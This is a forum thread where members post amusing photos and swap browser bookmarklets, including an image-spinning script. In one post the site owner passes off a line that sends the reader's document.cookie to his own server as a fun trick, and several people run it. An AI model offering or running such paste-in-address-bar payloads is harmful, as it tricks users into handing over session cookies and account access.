amusing photos
HardTranceFan

This sign is up because of the trains that whizz through the station without stopping.The kicker is that the only trains this applies to are Virgin ones :D
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And one of my favourites:
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Kibiz0r

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http://img.photobucket.com/albums/v27/plaguesme/PPT/meth.jpg

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http://www.dirtflake.com/wp-content/uploads/2006/08/snakes_on_a_plane.png

And my personal favorite:
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Edit:
Oh, and I came across this while digging this pictures up...
http://sickflash.com/human_kind.html
Some of you may have seen or heard this before; it's great. Listen his other stuff, too. He's really funny.
http://www.ernestcline.com/spokenword/

kentl

Not a photo but still funny:
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Not even an image. But it is image related and amusing. Go to another site (it doesn't work well with A.cc). Clear your address bar and past the following code in it(then hit enter): (I take no credit for the code, it's not by me)

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5); void(0);

HardTranceFan

A couple more :

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Arthur Kalliokoski

I happened to try that javascript on Google first, it was pretty awesome! But the next 6 bookmarked sites I tried didn't do well either.

clovekx

I find this pretty funny. I've seen it in GB.
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And this is nice too:
http://real.coolio.cz/x/czech-switzerland-cnn.jpg
http://real.coolio.cz/x/czech-borders-iraq-cnn.jpg

OICW

clovekx: the last two are nice, but not so funny :-/ (from obvious reason ::) ). One time they think that we are Switzerland and the second time, we're just next to the hellable warzone. Nice what would be next :-[

LennyLen
Quote:

the last two are nice, but not so funny

I thought the last one was hilarious. It certainly reinforces what they say about Americans and world geography. ;)

gnolam

Both of them were hilarious. :)

Derezo

My world geography knowledge is bad. I knew what was out of place in the second map, but in the first I wasn't sure. :(

I can tell you what continents are where and what countries are in what continents, but I have trouble placing specific countries in their proper place.

I like the smoking one ;D

kentl
Quote:

I happened to try that javascript on Google first, it was pretty awesome! But the next 6 bookmarked sites I tried didn't do well either.

Yeah it only seems to work on some sites. It works well on Flikr also. Still pretty cool.

Neil Walker
Quote:

but in the first I wasn't sure.

Where switzerland is, it should be austria.

clovekx
Quote:

Quote:

but in the first I wasn't sure.

Where switzerland is, it should be austria.

But in fact it is Czech Republic. (:

Quote:

My world geography knowledge is bad.

That's OK. My geography is not much better, If you ask me where is some state in africa I wont know, but if I'm going to draw a map I'll first look at how it should look like. It's just important to know that you dont know, whis as you can see CNN doesnt.

Richard Phipps

What's wrong with the red light one? ???

clovekx
Quote:

What's wrong with the red light one?

I just found it funny. It's just like they don't know traffic lights in GB. Maybe I missed something, but it was funny from my point of wiev.

James Howard
Richard said:

What's wrong with the red light one?

I don't really see anything funny about it either. Its used when there are road works and temporary traffic lights in place. It seems quite sensible as in most cases where this is seen, on lane of the road is cut off and the road narrowed. The sign is there so that waiting vehicles leave enough space for the cars moving the other way. The reason for the sign is a) there isn't usually traffic lights there and b) the traffic light might not be exactly where the car should wait and there aren't any road markings for temporarary lights etc.

Johan Halmén
Quote:

What's wrong with the red light one?

It's a bit like the "Click on the 'Click here for details' button, if you want details" advice, seen sometimes in thorough gui designs.

ngiacomelli

The red light photograph isn't very funny. But I think the joke is that it's on a footpath. You know, so you'll have people waiting on the pavement?

LennyLen
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But I think the joke is that it's on a footpath. You know, so you'll have people waiting on the pavement?

I thought that was intentional. I assumed that either some sort of construction was taking part on the foot path, or that construction vehicles may be going from the road to a property via the footpath ahead.

And since pedestrians aren't used to stopping at red lights on the footpath, having a sign makes some sense.

I've seen similar situations where car-park buildings flash lights and chime when a car is about to exit them (they even have similar signs).

Don Freeman

I thought "wait here when the red light is on" meant when the lady had her red light turned on....well you KNOW about the RED LIGHT DISTRICT....Hehehe...

Also, with the train photo....I'd get close to the platform if I could get "sucked off"!::);D

Neil Walker

It could be just me, but I L0L whenever I see the 'no road markings for _ miles' sign posts that don't put the number in the gap.

HardTranceFan
Don Freeman said:

about the RED LIGHT DISTRICT

That's the first thought that popped into my mind too, and I found it ironic considering the reasonably decent looking houses in the photo.

Here are a couple more:

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kentl

The Kangaroo one is a classic. :)

Johan Halmén

What does the kangaroo say?
"Hm, peanuts? Naah..."

Evert
Quote:

I thought the last one was hilarious. It certainly reinforces what they say about Americans and world geography.

I didn't even look at the names for the surrounding countries, so I wasn't sure what was wrong with the first one at first, for the second one I thought it a bit dubious that the caption said "Romania" and the map showed the Czech Republic. Didn't even look at Ger^H^H^HIraq at first...
Are these real though?

OICW

Evert: sadly I think, they are. So I'd better lock and load my gun, because partysans or US paratroopers can be here in any moment. Mm maybe even some swiss cheese with chocolate, mmmm... 8-)

gnolam

Hey, didn't you know? The Thirty Years' War was all about the oil, man.

Dustin Dettmer

The javascript code does nothing. Am I doing it wrong?

I go to google.com, after its loaded i paste
javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.len
Into my Firefox address bar and hit enter

... am I missing something?

I even pasted the code into the javascript debugger console and got nothing. The code doesn't really make any sense anyway, all it does it set some variables...

Matthew Leverton

Try this one in google:

javascript:location.href='http://www.allegro.cc/collect/'+document.cookie

LennyLen
Quote:

... am I missing something?

Ah, yes. Most of the code.

You've gone from

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length;
function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5;
DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5); void(0);

to

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.len

Dustin Dettmer

ML you are evil.

Cool collect script though

Since I couldnt get the other one to work I made my own. Works almost everywhere.

javascript:var d=document.getElementsByTagName("img");for(var i=0;i<d.length;i++){d<i>.src="http://tinyurl.com/yhzzcz";}hisotry.go(-1);

LennyLen
Quote:

Since I couldnt get the other one to work I made my own. Works almost everywhere.

:D

HardTranceFan

I get "error 404 file not found" when I try ML's line.

And nothing happens when I try the original one.

Dustin Dettmer

ML's line was a joke. Its supposed to be a trick to get your passwords and other sensitive information.

You don't actually have a collect script ML?

In other news...

Got the script to work. Cool effect but my god the one who wrote should never do game design.

Heres an updated version that updates at a realistic refresh rate and has a few other optimizations:

javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length;function A(){for(i=0; i-DIL; i++)if(DI<i>.width>100){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5;DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',20); void(0);

Matthew Leverton
Quote:

You don't actually have a collect script ML?

access_log! Only 18 people so far. Must ... collect ... more. 8-)

Samuel Henderson
Quote:

access_log! Only 18 people so far. Must ... collect ... more.

I'll admit, I fell for it :)

Matthew Leverton

I know—I'm reading your e-mail.

Arthur Kalliokoski

And here I went and tried pasting ML's script three times... Oh well, he can read my spam all he wants.

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Breakman79

Here's a photo that I just saw today. It cracked me up.

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kentl

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Arthur Kalliokoski

The turkey has to do a "special favor" now to get pardoned?

Sevalecan

That aircraft does not look to scale.

gnolam

Polish Hind pilots with humor:
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OICW

Gnolam: ;D I know czech pilots have shark teeth on the nose.

Arthur Kalliokoski
Rampage

Kent Larsson's image somehow made me think of Monica Lewinsky... :-[

Johan Halmén

Except that hot chick != cold turkey.

[edit]
Hope you know Abba. And Lordi.

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gnolam

From the Daily WTF:
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Indeterminatus

;D

FMC

:P Ha! At first i didn't see the QUERY thing...

Michael Jensen

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That's enough for now....

Sporus

This is the best one I've seen IRL.

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Michael Jensen

I don't get it.

Sporus

Maybe it's just me then. :(

Michael Jensen

I also don't speak/read spanish -- is the caption part of it? er-- that's not spanish is it?

Evert
Quote:

that's not spanish is it?

Not really, no.
It's irrelevant to the joke though, which I don't think is that funny.

Sporus

I never said it was very funny, just the funniest I've actually seen. ;)

Chris Katko

What? You've never tried tiger nuts? Mmmm... :P

kentl
Quote:

Maybe it's just me then. :(

It was not funny enough. Take it back! >:(

Epsi

I win.

http://img300.imageshack.us/img300/8231/donuts9kx.jpg

OICW

Epsi: ;D that's a really good one. Reminds me electoral billboards here :)

nonnus29

No, I win:

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